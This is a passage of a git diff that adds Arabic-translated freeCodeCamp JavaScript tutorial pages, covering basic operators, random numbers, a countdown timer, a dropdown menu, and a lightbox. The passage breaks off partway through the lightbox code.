+الآن يمكننا تحديد نوع المتغير ، دعنا نلقي نظرة على الاسم. تتم كتابة أسماء المتغيرات JavaScript في تنسيق `camel case` . مثال على حالة الإبل هو: `camelCase` . في سياق مثالنا:
+
+ `    myName 
+` 
+
+الاسم أيضًا سنصل إلى المتغير مرة أخرى لاحقًا:
+
+ `    console.log(myName); // "Rafael" 
+` 
+
+أخيرا ، لدينا قيمة:
+
+ `    "Rafael" 
+` 
+
+يتم كتابة JavaScript بشكل حيوي ، مما يعني أن أي متغير معين يمكن أن يمثل أي نوع بيانات معين في أي وقت معين. فمثلا:
+
+ `    var example = "This is an example"; 
+    example = [0, 1, 2, 3] 
+    example = {test: "Result"} 
+    example = 5 
+` 
+
+جميع هذه التصريحات صالحة تمامًا - يمكن أن تقفز متغيرات جافا سكريبت من السلسلة إلى المصفوفة إلى الاعتراض على عدد صحيح.
+
+### قم بتعريف كائن const
+
+كما ذكر أعلاه ، متغير Const هو قيمة غير قابلة للتغير يتم تعيينها لمثل هذا المتغير في وقت الإعلان ، ولكن هناك نقطة يجب ملاحظتها في بيان حالة الحالة مع const. لا يمكن تحديث كائن نوع const أيضًا بعد تعريفه ولكن تكون خصائص كائن الكائن. فمثلا.
+
+ `    const Car1 = { 
+        name: 'BMW', 
+        model: 'X1', 
+        color: 'black' 
+    } 
+` 
+
+هنا ، لا يمكننا تحديث الكائن ولكن يمكننا تحديث الخصائص عن طريق الوصول إلى من خلال نقطة (.) المشغل على النحو التالي.
+
+ `    Car1.color = 'Red'; 
+    console.log(Car1); 
+    O/P - {name: "BMW", model: "X1", color: "Red"} 
+` 
+
+إذا احتجنا إلى جعل كائن enitre غير قابل للتغيير (بما في ذلك الخصائص) ، فعلينا استخدام طريقة التجميد.
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/tutorials/decrement-a-number-with-javascript/index.md b/client/src/guide/arabic/javascript/tutorials/decrement-a-number-with-javascript/index.md
new file mode 100644
index 0000000000..0a1a2cd8d4
--- /dev/null
+++ b/client/src/guide/arabic/javascript/tutorials/decrement-a-number-with-javascript/index.md
@@ -0,0 +1,15 @@
+---
+title: Decrement a Number with JavaScript
+localeTitle: إنقاص رقم مع JavaScript
+---
+يمكنك بسهولة إنقاص أو إنقاص متغير بـ `1` مع `--` المشغل.
+
+ `i--; 
+` 
+
+هو ما يعادل
+
+ `i = i - 1; 
+` 
+
+**ملاحظة:** يصبح الخط بأكمله `i--;` ، مما يلغي الحاجة إلى علامة المساواة.
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/tutorials/delete-properties-from-a-javascript-object/index.md b/client/src/guide/arabic/javascript/tutorials/delete-properties-from-a-javascript-object/index.md
new file mode 100644
index 0000000000..ccb250f321
--- /dev/null
+++ b/client/src/guide/arabic/javascript/tutorials/delete-properties-from-a-javascript-object/index.md
@@ -0,0 +1,40 @@
+---
+title: Delete Properties from a JavaScript Object
+localeTitle: حذف الخصائص من كائن JavaScript
+---
+يمكننا أيضًا حذف الخصائص من كائنات مثل هذه:
+
+ `delete ourDog.bark; 
+` 
+
+يقوم **عامل حذف** بإزالة خاصية من كائن.
+
+## بناء الجملة
+
+`delete expression` حيث يجب تقييم التعبير إلى مرجع خاصية ، على سبيل المثال:
+
+ `delete object.property 
+ delete object['property'] 
+` 
+
+## المعلمات
+
+**موضوع**  
+اسم كائن ، أو تعبير يتم تقييمه لكائن.
+
+**خاصية**  
+الخاصية لحذفها.
+
+## مثال
+
+ `var person = {name:'Jay', age:'52'}; 
+ delete person['age']; 
+ 
+ console.log(person); //{name:'Jay'} 
+` 
+
+## قيمة الإرجاع
+
+يلقي في وضع صارم إذا كانت الخاصية هي خاصية غير قابلة للتكوين (إرجاع false في غير صارمة). يعود صحيح في جميع الحالات الأخرى.
+
+[اقرأ أكثر](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/delete)
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/tutorials/detect-authentic-click-events/index.md b/client/src/guide/arabic/javascript/tutorials/detect-authentic-click-events/index.md
new file mode 100644
index 0000000000..17dda228c7
--- /dev/null
+++ b/client/src/guide/arabic/javascript/tutorials/detect-authentic-click-events/index.md
@@ -0,0 +1,25 @@
+---
+title: Detect authentic click events
+localeTitle: اكتشاف أحداث النقرات الأصلية
+---
+## اكتشاف أحداث النقرات الأصلية
+
+قد يكون هناك موقف حيث تريد القيام ببعض الأشياء المحددة فقط إذا كان حدث النقر قد تم عرضه بشكل حقيقي من قبل مستخدم وليس بواسطة برنامج نصي لمحاكاة حدث نقرة.
+
+هناك حل بسيط جدًا لهذه المشكلة ، حيث يمنحنا كائن الحدث javascript خاصية. `.istrusted` ، والتي يمكن استخدامها لمعرفة الفرق.
+
+#### هنا مثال على استخدام هذه الطريقة
+
+ `// Assume there is a button in the HTML 
+ const button = document.querySelector('button'); 
+ 
+ button.addEventListener('click', (e) => { 
+  if (e.isTrusted) { 
+    console.log('Button clicked by a real user'); 
+  } else { 
+    console.log('Button click simulated by a script'); 
+  } 
+ }); 
+ 
+ button.click() // Outputs "Button click simulated by a script" 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/tutorials/divide-one-number-by-another-with-javascript/index.md b/client/src/guide/arabic/javascript/tutorials/divide-one-number-by-another-with-javascript/index.md
new file mode 100644
index 0000000000..b3911a9a09
--- /dev/null
+++ b/client/src/guide/arabic/javascript/tutorials/divide-one-number-by-another-with-javascript/index.md
@@ -0,0 +1,8 @@
+---
+title: Divide One Number by Another with JavaScript
+localeTitle: قسمة رقم واحد على آخر باستخدام JavaScript
+---
+تستخدم جافا سكريبت الرمز `/` للقسمة.
+
+ `var quotient = 66 / 33; 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/tutorials/finding-a-remainder-in-javascript/index.md b/client/src/guide/arabic/javascript/tutorials/finding-a-remainder-in-javascript/index.md
new file mode 100644
index 0000000000..7708732c39
--- /dev/null
+++ b/client/src/guide/arabic/javascript/tutorials/finding-a-remainder-in-javascript/index.md
@@ -0,0 +1,23 @@
+---
+title: Finding a Remainder in JavaScript
+localeTitle: العثور على البقية في جافا سكريبت
+---
+يعطي _عامل الباقي_ `%` الباقي من قسم رقمين.
+
+## مثال
+
+ `5 % 2 = 1 because 
+ Math.floor(5 / 2) = 2 (Quotient) 
+ 2 * 2 = 4 
+ 5 - 4 = 1 (Remainder) 
+` 
+
+## استعمال
+
+في الرياضيات ، يمكن التحقق من الرقم حتى أو فردي عن طريق التحقق من الجزء المتبقي من تقسيم الرقم إلى 2.
+
+ `17 % 2 = 1 (17 is Odd) 
+ 48 % 2 = 0 (48 is Even) 
+` 
+
+**ملاحظة** لا تخلط بينه وبين _modulus_ `%` لا يعمل بشكل جيد مع الأرقام السالبة.
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/tutorials/generate-random-fractions-with-javascript/index.md b/client/src/guide/arabic/javascript/tutorials/generate-random-fractions-with-javascript/index.md
new file mode 100644
index 0000000000..fa8b5f42e6
--- /dev/null
+++ b/client/src/guide/arabic/javascript/tutorials/generate-random-fractions-with-javascript/index.md
@@ -0,0 +1,5 @@
+---
+title: Generate Random Fractions with JavaScript
+localeTitle: توليد الكسور العشوائية مع جافا سكريبت
+---
+يحتوي JavaScript على دالة `Math.random()` التي تنشئ رقمًا عشريًا عشوائيًا.
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/tutorials/generate-random-whole-numbers-with-javascript/index.md b/client/src/guide/arabic/javascript/tutorials/generate-random-whole-numbers-with-javascript/index.md
new file mode 100644
index 0000000000..7ac10afef9
--- /dev/null
+++ b/client/src/guide/arabic/javascript/tutorials/generate-random-whole-numbers-with-javascript/index.md
@@ -0,0 +1,10 @@
+---
+title: Generate Random Whole Numbers with JavaScript
+localeTitle: توليد أرقام كاملة عشوائية مع جافا سكريبت
+---
+من الرائع أن نتمكن من إنشاء أرقام عشرية عشوائية ، لكن الأمر أكثر فائدة إذا كنا أكثر فائدة لإنشاء رقم صحيح عشوائي.
+
+لتحقيق هذا يمكننا مضاعفة الرقم العشوائي بعشرة واستخدام `Math.floor()` لتحويل الرقم العشري إلى رقم `Math.floor()`
+
+ `Math.floor(Math.random()*10) 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/tutorials/get-current-url-in-javascript/index.md b/client/src/guide/arabic/javascript/tutorials/get-current-url-in-javascript/index.md
new file mode 100644
index 0000000000..55809b155b
--- /dev/null
+++ b/client/src/guide/arabic/javascript/tutorials/get-current-url-in-javascript/index.md
@@ -0,0 +1,15 @@
+---
+title: Get Current Url in JavaScript
+localeTitle: احصل على عنوان URL الحالي في جافا سكريبت
+---
+للحصول على **عنوان URL الحالي** :
+
+ `var url = window.location.href; 
+` 
+
+للحصول على **المسار الحالي** :
+
+ `var path = window.location.path; 
+` 
+
+يمكن العثور على مزيد من المعلومات حول كائن الموقع وخصائصه [هنا](https://developer.mozilla.org/en-US/docs/Web/API/Window/location) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/tutorials/give-your-javascript-slot-machine-some-stylish-images/index.md b/client/src/guide/arabic/javascript/tutorials/give-your-javascript-slot-machine-some-stylish-images/index.md
new file mode 100644
index 0000000000..6196ee7fac
--- /dev/null
+++ b/client/src/guide/arabic/javascript/tutorials/give-your-javascript-slot-machine-some-stylish-images/index.md
@@ -0,0 +1,10 @@
+---
+title: Give Your JavaScript Slot Machine Some Stylish Images
+localeTitle: قم بتزويد جهاز Slot بجهاز JavaScript بعض الصور الأنيقة
+---
+لقد قمنا بالفعل بإعداد الصور لك في صف يسمى الصور. يمكننا استخدام فهارس مختلفة للاستيلاء على كل منها.
+
+في ما يلي كيفية تعيين الشريحة الأولى لعرض صورة مختلفة استنادًا إلى العدد الذي ينشئه رقمها العشوائي:
+
+ `$($('.slot')[0]).html('<img src = "' + images[slotOne-1] + '">'); 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/tutorials/how-to-create-a-countdown-timer/index.md b/client/src/guide/arabic/javascript/tutorials/how-to-create-a-countdown-timer/index.md
new file mode 100644
index 0000000000..dd4ad2886e
--- /dev/null
+++ b/client/src/guide/arabic/javascript/tutorials/how-to-create-a-countdown-timer/index.md
@@ -0,0 +1,60 @@
+---
+title: How to Create a Countdown Timer
+localeTitle: كيفية إنشاء مؤقت للعد التنازلي
+---
+## كيفية إنشاء مؤقت للعد التنازلي
+
+### خلق
+
+ابدأ ببناء وظيفة countdownTimer.
+
+ `function startCountdown(seconds){ 
+  var counter = seconds; 
+ 
+  var interval = setInterval(() => { 
+    console.log(counter); 
+    counter--; 
+ 
+ 
+    if(counter < 0 ){ 
+ 
+      // The code here will run when 
+      // the timer has reached zero. 
+ 
+      clearInterval(interval); 
+      console.log('Ding!'); 
+    }; 
+  }, 1000); 
+ }; 
+` 
+
+### إعدام
+
+الآن لبدء تشغيل جهاز ضبط الوقت ، نوفر `startCountdown()` مع قيمة عدد كوسيطة تمثل الثواني للعد التنازلي.
+
+ `  startCountdown(10); 
+  // Console Output // 
+  // 10 
+  // 9 
+  // 8 
+  // 7 
+  // 6 
+  // 5 
+  // 4 
+  // 3 
+  // 2 
+  // 1 
+  // 0 
+  // Ding! 
+` 
+
+### مثال حي
+
+[Codepen - العد التنازلي](https://codepen.io/rdev-rocks/pen/jLogxY?editors=0012)
+
+### المزيد من الموارد
+
+الطرق المستخدمة:
+
+*   [setInterval ()](https://developer.mozilla.org/en-US/docs/Web/API/WindowOrWorkerGlobalScope/setInterval)
+*   [clearInterval ()](https://developer.mozilla.org/en-US/docs/Web/API/WindowOrWorkerGlobalScope/clearInterval)
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/tutorials/how-to-create-a-dropdown-menu-with-css-and-javascript/index.md b/client/src/guide/arabic/javascript/tutorials/how-to-create-a-dropdown-menu-with-css-and-javascript/index.md
new file mode 100644
index 0000000000..719d888964
--- /dev/null
+++ b/client/src/guide/arabic/javascript/tutorials/how-to-create-a-dropdown-menu-with-css-and-javascript/index.md
@@ -0,0 +1,238 @@
+---
+title: How to Create a Dropdown Menu with CSS and JavaScript
+localeTitle: كيفية إنشاء قائمة منسدلة باستخدام CSS و JavaScript
+---
+## كيفية إنشاء قائمة منسدلة باستخدام CSS و JavaScript
+
+ستتعلم في هذا البرنامج التعليمي كيفية إنشاء قائمة منسدلة بسيطة باستخدام الفانيلا Javascript و HTML و CSS. سنسير عبر شفرة HTML و CSS وجافا سكريبت ، ولكن نولي المزيد من الاهتمام للبرمجة ، نظرًا لأن هذا البرنامج التعليمي تابع لبرنامج JS. سنستخدم فقط JS و CSS بدون أي إطارات أو معالجات مسبقة. الاستثناء الوحيد (نوع) سيتم استيراد ملف [Font Awesome](https://fontawesome.com/) CSS لأننا سنستخدم أحد رموزه.
+
+يستهدف هذا المطورين الذين لديهم فهم متوسط ​​لـ HTML و CSS و JS. حاولت أن أجعله نظيفًا قدر الإمكان ، لكنني لن أركز كثيرًا على التفاصيل هنا. آمل أن تستمتع جميع.
+
+## لقطات
+
+هذه هي الطريقة التي تبدو بها نتيجة الشفرة:
+
+الشاشة الأولي:
+
+![](https://i.imgur.com/jrnu6mE.png)
+
+فتح القائمة المنسدلة:
+
+![](https://i.imgur.com/gszPtRa.png)
+
+المنسدلة مع اختيار الخيار:
+
+![](https://i.imgur.com/TKXxZGF.png)
+
+#### HTML:
+
+في هذا القسم ، سنناقش تنفيذ شفرة HTML للصفحة التجريبية. للبدء ، دعنا نرى الرمز `<head>`
+
+ `
+<!DOCTYPE html> 
+ <html lang="en"> 
+ <head> 
+    <meta charset="UTF-8"> 
+    <meta name="viewport" content="width=device-width, initial-scale=1.0"> 
+    <meta http-equiv="X-UA-Compatible" content="ie=edge"> 
+    <title>Dropdown Example</title> 
+ 
+    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/'-awesome/4.7.0/css/font-awesome.min.css"> 
+    <link rel="stylesheet" href="styles.css"> 
+ </head> 
+` 
+
+هذا هو الأساس الأساسي لنموذج HTML الرئيسي ، باستثناء علامات `link` تحمّل صحيفتي أنماط CSS التي سنستخدمها في هذا البرنامج التعليمي: الأنماط `styles.css` ، وملف `styles.css` ، حيث `styles.css` أنماط هذه الصفحة.
+
+ثم ، ما تبقى من ملف HTML ، الجسم:
+
+ `
+<body> 
+    <div class='dropdown'> 
+        <div class='title pointerCursor'>Select an option <i class="fa fa-angle-right"></i></div> 
+ 
+        <div class='menu pointerCursor hide'> 
+            <div class='option' id='option1'>Option 1</div> 
+            <div class='option' id='option2'>Option 2</div> 
+            <div class='option' id='option3'>Option 3</div> 
+            <div class='option' id='option4'>Option 4</div> 
+        </div> 
+ 
+    </div> 
+    <span id='result'>The result is: </span> 
+    <script> 
+      ... 
+    </script> 
+ </body> 
+ </html> 
+` 
+
+يمكن تقسيم هذا القسم إلى 3 أجزاء رئيسية:
+
+*   و `.dropdown` شعبة، حيث سيتم تحديد هيكل العنصر المنسدلة ل.
+*   العنصر `#result` ، الذي سيحتوي على الخيار المحدد بواسطة المستخدم ، من عنصر القائمة المنسدلة.
+*   النص المكتوب في علامة `<script>` . يتم إخفاء تطبيقه هنا ، لأنه سيتم شرح تفاصيله في القسم الأخير من هذا البرنامج التعليمي.
+
+عنصر القائمة المنسدلة عبارة عن عنصر `div` يحتوي على `title` وعناصر `menu` . يحدد السابق فقط النص الذي سيتم عرضه على العنصر قبل تحديد أي خيار وسيحدد الأخير الخيارات التي سيتم اختيارها بواسطة العنصر.
+
+عنصر `result` موجود فقط ليعرض لك ما هو الخيار المحدد حاليًا.
+
+#### أنماط:
+
+أدناه يمكنك التحقق من رمز CSS الكامل للخروج. كما ترون فإنه يجعل استخدام `transition` CSS3 والبنية `transform` .
+
+يرجى الانتباه إلى تعريفات `.dropdown` . يتم استخدام هذه لتحديد تخطيط مكون الحاوية القائمة المنسدلة بالإضافة إلى عناصرها الداخلية ، مثل `.title` و `.option` الخاص به.
+
+ `body{ 
+    font-family: 'Lucida Sans', 'Lucida Sans Regular', 'Lucida Grande', 'Lucida Sans Unicode', Geneva, Verdana, sans-serif; 
+ } 
+ 
+ .hide { 
+    max-height: 0 !important; 
+ } 
+ 
+ .dropdown{ 
+    border: 0.1em solid black; 
+    width: 10em; 
+    margin-bottom: 1em; 
+ } 
+ 
+ .dropdown .title{ 
+    margin: .3em .3em .3em .3em; 
+    width: 100%; 
+ } 
+ 
+ .dropdown .title .fa-angle-right{ 
+    float: right; 
+    margin-right: .7em; 
+    transition: transform .3s; 
+ } 
+ 
+ .dropdown .menu{ 
+    transition: max-height .5s ease-out; 
+    max-height: 20em; 
+    overflow: hidden; 
+ } 
+ 
+ .dropdown .menu .option{ 
+    margin: .3em .3em .3em .3em; 
+    margin-top: 0.3em; 
+ } 
+ 
+ .dropdown .menu .option:hover{ 
+    background: rgba(0,0,0,0.2); 
+ } 
+ 
+ .pointerCursor:hover{ 
+    cursor: pointer; 
+ } 
+ 
+ .rotate-90{ 
+    transform: rotate(90deg); 
+ } 
+` 
+
+#### جافا سكريبت:
+
+الآن سنرى كيف يتم تنفيذ جزء جافا سكريبت. سنبدأ أولاً بتعريفات الدالة ثم التعليمات البرمجية التي تستدعي هذه الوظائف لجعل إجراءات المنسدلة يحدث.
+
+في الأساس ، هناك 3 إجراءات تتم وفقًا لتفاعل المستخدم ، نظرًا لأنه يتم إضافة المستمعين إلى عناصر DOM:
+
+1.  النقر على عنصر القائمة المنسدلة
+2.  اختيار واحد من خيارات القائمة المنسدلة
+3.  تغيير الخيار المحدد حاليًا
+
+أود أن أوضح أننا نستخدم وظائف الأسهم ( `() => {}` ) والكلمة الأساسية `const` ، وهي ميزات ES6. ربما تكون جيدًا إذا كنت تستخدم إصدارًا حديثًا من المتصفح ، ولكن ضع ذلك في اعتبارك.
+
+#### 1\. النقر على عنصر القائمة المنسدلة
+
+ `function toggleClass(elem,className){ 
+    if (elem.className.indexOf(className) !== -1){ 
+        elem.className = elem.className.replace(className,''); 
+    } 
+    else{ 
+        elem.className = elem.className.replace(/\s+/g,' ') +   ' ' + className; 
+    } 
+ 
+    return elem; 
+ } 
+ 
+ function toggleDisplay(elem){ 
+    const curDisplayStyle = elem.style.display; 
+ 
+    if (curDisplayStyle === 'none' || curDisplayStyle === ''){ 
+        elem.style.display = 'block'; 
+    } 
+    else{ 
+        elem.style.display = 'none'; 
+    } 
+ } 
+ 
+ 
+ function toggleMenuDisplay(e){ 
+    const dropdown = e.currentTarget.parentNode; 
+    const menu = dropdown.querySelector('.menu'); 
+    const icon = dropdown.querySelector('.fa-angle-right'); 
+ 
+    toggleClass(menu,'hide'); 
+    toggleClass(icon,'rotate-90'); 
+ } 
+` 
+
+عند النقر فوق عنصر القائمة المنسدلة ، يتم فتحه (إذا كان مغلقًا) أو إغلاق (في حالة فتحه). يحدث ذلك عن طريق ربط `toggleMenuDisplay` الإصغاء على عنصر القائمة المنسدلة. هذه الوظيفة تبديل عرض عنصر `menu` به عن طريق استخدام `toggleDisplay` و `toggleClass` .
+
+#### 2\. اختيار واحد من خيارات القائمة المنسدلة
+
+ `function handleOptionSelected(e){ 
+    toggleClass(e.target.parentNode, 'hide'); 
+ 
+    const id = e.target.id; 
+    const newValue = e.target.textContent + ' '; 
+    const titleElem = document.querySelector('.dropdown .title'); 
+    const icon = document.querySelector('.dropdown .title .fa'); 
+ 
+ 
+    titleElem.textContent = newValue; 
+    titleElem.appendChild(icon); 
+ 
+    //trigger custom event 
+    document.querySelector('.dropdown .title').dispatchEvent(new Event('change')); 
+    //setTimeout is used so transition is properly shown 
+    setTimeout(() => toggleClass(icon,'rotate-90',0)); 
+ } 
+` 
+
+#### 3\. تغيير الخيار المحدد حاليا
+
+ `function handleTitleChange(e){ 
+    const result = document.getElementById('result'); 
+ 
+    result.innerHTML = 'The result is: ' + e.target.textContent; 
+ } 
+` 
+
+يرتبط `handleTitleChange` الدالة `handleTitleChange` بحدث `change` المخصص على عنصر `.title` ، لتغيير محتوى عنصر `#result` كلما تغير عنصر العنوان. يتم إجراء هذا الحدث على القسم السابق.
+
+#### كود الرئيسي
+
+ `//get elements 
+ const dropdownTitle = document.querySelector('.dropdown .title'); 
+ const dropdownOptions = document.querySelectorAll('.dropdown .option'); 
+ 
+ //bind listeners to these elements 
+ dropdownTitle.addEventListener('click', toggleMenuDisplay); 
+ dropdownOptions.forEach(option => option.addEventListener('click',handleOptionSelected)); 
+ document.querySelector('.dropdown .title').addEventListener('change',handleTitleChange); 
+` 
+
+في القسم الرئيسي ، هناك بعض الكودات البسيطة للحصول على عنوان القائمة المنسدلة وعناصر الخيارات لربطها بالأحداث التي تمت مناقشتها في القسم الأخير.
+
+## عرض
+
+يمكن العثور على الرمز الكامل لهذا التطبيق والتجريبي [هنا](https://codepen.io/GCrispino/pen/EEXmYd) .
+
+## معلومات اكثر
+
+*   [مقدمة ES6](https://guide.freecodecamp.org/javascript/es6)
+*   [وظائف السهم](https://guide.freecodecamp.org/javascript/es6/arrow_functions/)
+*   [واسمحوا Const](https://guide.freecodecamp.org/javascript/es6/let_and_const/)
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/tutorials/how-to-create-a-lightbox/index.md b/client/src/guide/arabic/javascript/tutorials/how-to-create-a-lightbox/index.md
new file mode 100644
index 0000000000..47ad196aba
--- /dev/null
+++ b/client/src/guide/arabic/javascript/tutorials/how-to-create-a-lightbox/index.md
@@ -0,0 +1,565 @@
+---
+title: How to Create a Lightbox
+localeTitle: كيفية إنشاء صندوق الضوء
+---
+## كيفية إنشاء صندوق الضوء
+
+### المقدمة
+
+والصندوق المبسط هو مزيج من عنصرين ، أحدهما [مشروط](https://en.wikipedia.org/wiki/Modal_window) وعرض شرائح. هنا سوف تقوم ببناء صندوق خفيف بسيط باستخدام `HTML` و `CSS` و `JavaScript` .
+
+سيتم تضمين صندوق الضوء في الوسائط ، التي سيتم تشغيلها بواسطة بعض `JavaScript` ، من [معالجات الأحداث](https://developer.mozilla.org/en-US/docs/Web/Guide/Events/Event_handlers) في ترميز `HTML` . ستقوم ببناء الأنماط التي ستوفر حالة مع `CSS` والسلوك مع `JavaScript` . ستجد أيضًا قائمة مرجعية بالطرق التي تستخدمها وغيرها من وحدات tid المفيدة ذات الصلة بهذا البرنامج التعليمي ، في الجزء السفلي.
+
+#### صورنا
+
+يتم توفير الصور التي [سنستخدمها](https://www.pexels.com/) بواسطة [Pexels](https://www.pexels.com/) ، معرض صور المخزون المجاني الذي يسمح لك بتوفير صور عالية الجودة لمشاريعهم بسرعة ، ومجانًا ، وعادة بدون الحاجة إلى استخدامات.
+
+#### فقط أرني الكود!
+
+يمكن العثور على مثال حي [هنا - CodePen / Lightbox](https://codepen.io/rdev-rocks/pen/KXNzvo) ومسودة كاملة للرمز بالقرب من القاع.
+
+### الخطوة 1. الترميز
+
+يوفر الترميز أو `HTML` ، بنية العلبة الخفيفة.
+
+ `
+<!-- Here is your access point for your user, a preview of the images you wish to display. 
+     You use the onclick="" event handler to execute the methods you will define in the 
+     JavaScript near the bottom --> 
+ 
+ <div class="row"> 
+  <div class="col"> 
+     <img src="https://static.pexels.com/photos/385997/pexels-photo-385997.jpeg" onclick="openLightbox();toSlide(1)" class="hover-shadow preview" alt="Toy car on the road." /> 
+  </div> 
+  <div class="col"> 
+     <img src="https://static.pexels.com/photos/574521/pexels-photo-574521.jpeg" onclick="openLightbox();toSlide(2)" class="hover-shadow preview" alt="Toy car exploring offroad." /> 
+  </div> 
+  <div class="col"> 
+     <img src="https://static.pexels.com/photos/386009/pexels-photo-386009.jpeg" onclick="openLightbox();toSlide(3)" class="hover-shadow preview" alt="Toy car in the city." /> 
+  </div> 
+ </div> 
+ 
+ <!-- This is your lightbox, it is contained in a modal. Here you provide all the images, 
+     controls, and another set of preview images as the dots. Dots show your user which 
+     image is currently active. Note that you use entities (eg &times;), more info on 
+     them at the bottom. --> 
+ 
+ <div id="Lightbox" class="modal"> 
+  <span class="close pointer" onclick="closeLightbox()">&times;</span> 
+  <div class="modal-content"> 
+    <div class="slide"> 
+        <img src="https://static.pexels.com/photos/385997/pexels-photo-385997.jpeg" class="image-slide" alt="Toy car on the road." /> 
+    </div> 
+    <div class="slide"> 
+        <img src="https://static.pexels.com/photos/574521/pexels-photo-574521.jpeg" class="image-slide" alt="Toy car exploring offroad." /> 
+    </div> 
+    <div class="slide"> 
+        <img src="https://static.pexels.com/photos/386009/pexels-photo-386009.jpeg" class="image-slide" alt="Toy car in the city." /> 
+    </div> 
+ 
+    <a class="previous" onclick="changeSlide(-1)">&#10094;</a> 
+    <a class="next" onclick="changeSlide(1)">&#10095;</a> 
+ 
+    <div class="dots"> 
+      <div class="col"> 
+        <img src="https://static.pexels.com/photos/385997/pexels-photo-385997.jpeg" class="modal-preview hover-shadow" onclick="toSlide(1)" alt="Toy car on the road" /> 
+      </div> 
+      <div class="col"> 
+        <img src="https://static.pexels.com/photos/574521/pexels-photo-574521.jpeg" class="modal-preview hover-shadow" onclick="toSlide(2)" alt="Toy car exploring offroad." /> 
+      </div> 
+      <div class="col"> 
+        <img src="https://static.pexels.com/photos/386009/pexels-photo-386009.jpeg" class="modal-preview hover-shadow" onclick="toSlide(3)" alt="Toy car in the city." /> 
+      </div> 
+    </div> 
+  </div> 
+ </div> 
+` 
+
+### الخطوة 2. نمط مع CSS
+
+يوفر لك `CSS` حالات مختلفة لصندوق الضوء الخاص بك. أشياء مثل الرؤية ، وتحديد المواقع ، وتأثيرات التمرير.
+
+يجب أن تبدو ورقة الأنماط الخاصة بك كما يلي:
+
+ `/* Here you provide a best practice's "reset", read more about it at the bottom! :) */ 
+ 
+ html { 
+  box-sizing: border-box; 
+ } 
+ 
+ *, *:before, *:after { 
+  box-sizing: inherit; 
+ } 
+ 
+ body { 
+  margin: 0; 
+ } 
+ 
+ /* You define the style of our previews here, you are using flex to display the images 
+   "responsively". */ 
+ 
+ .preview { 
+  width: 100%; 
+ } 
+ 
+ .row { 
+  display: flex; 
+  flex-direction: row; 
+  justify-content: space-between; 
+ } 
+ 
+ .row > .col { 
+  padding: 0 8px; 
+ } 
+ 
+ .col { 
+  float: left; 
+  width: 25%; 
+ } 
+ 
+ /* Now you want to define what the lightbox will look like. Note that you have the display 
+   as none. You don't want it to show until the user clicks on one of the previews. 
+   You will change this display property with JavaScript below. */ 
+ 
+ .modal { 
+  display: none; 
+  position: fixed; 
+  z-index: 1; 
+  padding: 10px 62px 0px 62px; 
+  left: 0; 
+  top: 0; 
+  width: 100%; 
+  height: 100%; 
+  overflow: auto; 
+  background-color: black; 
+ } 
+ 
+ .modal-content { 
+  position: relative; 
+  display: flex; 
+  flex-direction: column; 
+  justify-content: center; 
+  margin: auto; 
+  padding: 0 0 0 0; 
+  width: 80%; 
+  max-width: 1200px; 
+ } 
+ 
+ /* Same with your slides, you set the display to none, because you want to choose which 
+   one is shown at a time. */ 
+ 
+ .slide { 
+  display: none; 
+ } 
+ 
+ .image-slide { 
+  width: 100%; 
+ } 
+ 
+ .modal-preview { 
+  width: 100%; 
+ } 
+ 
+ .dots { 
+  display: flex; 
+  flex-direction: row; 
+  justify-content: space-between; 
+ } 
+ 
+ /* You want the previews a little transparent to show that they are "inactive". 
+   You then add an .active or :hover class to animate the selections for your user when 
+   they interact with your controls and clickable content. 
+ */ 
+ 
+ img.preview, img.modal-preview { 
+  opacity: 0.6; 
+ } 
+ 
+ img.active, 
+ .preview:hover, 
+ .modal-preview:hover { 
+  opacity: 1; 
+ } 
+ 
+ img.hover-shadow { 
+  transition: 0.3s; 
+ } 
+ 
+ .hover-shadow:hover { 
+  box-shadow: 0 4px 8px 0 rgba(0, 0, 0, 0.2), 0 6px 20px 0 rgba(0, 0, 0, 0.19); 
+ } 
+ 
+ .close { 
+  color: white; 
+  position: absolute; 
+  top: 10px; 
+  right: 25px; 
+  font-size: 35px; 
+  font-weight: bold; 
+ } 
+ 
+ .close:hover, 
+ .close:focus { 
+  color: #999; 
+  text-decoration: none; 
+  cursor: pointer; 
+ } 
+ 
+ .previous, 
+ .next { 
+  cursor: pointer; 
+  position: absolute; 
+  top: 50%; 
+  width: auto; 
+  padding: 16px; 
+  margin-top: -50px; 
+  color: white; 
+  font-weight: bold; 
+  font-size: 20px; 
+  transition: 0.6s ease; 
+  border-radius: 0 3px 3px 0; 
+  user-select: none; 
+  -webkit-user-select: none; 
+ } 
+ 
+ .next { 
+  right: 0; 
+  border-radius: 3px 0 0 3px; 
+ } 
+ 
+ .previous:hover, 
+ .next:hover { 
+  background-color: rgba(0, 0, 0, 0.8); 
+ } 
+` 
+
+### الخطوة 3. جافا سكريبت
+
+الآن للعمل! يجب أن تبدو جافا سكريبت مثل هذا:
+
+ `// Initialize here and run showSlide() to give your lightbox a default state. 
+ 
+ let slideIndex = 1; 
+ showSlide(slideIndex); 
+ 
+ // You are providing the functionality for your clickable content, which is 
+ // your previews, dots, controls and the close button. 
+ 
+ function openLightbox() { 
+  document.getElementById('Lightbox').style.display = 'block'; 
+ } 
+ 
+ function closeLightbox() { 
+  document.getElementById('Lightbox').style.display = 'none'; 
+ }; 
+ 
+ // Note that you are assigning new values here to our slidIndex. 
+ 
+ function changeSlide(n) { 
+  showSlide(slideIndex += n); 
+ }; 
+ 
+ function toSlide(n) { 
+  showSlide(slideIndex = n); 
+ }; 
+ 
+ // This is your logic for the light box. It will decide which slide to show 
+ // and which dot is active. 
+ 
+ function showSlide(n) { 
+  const slides = document.getElementsByClassName('slide'); 
+  let modalPreviews = document.getElementsByClassName('modal-preview'); 
+ 
+  if (n > slides.length) { 
+    slideIndex = 1; 
+  }; 
+ 
+  if (n < 1) { 
+    slideIndex = slides.length; 
+  }; 
+ 
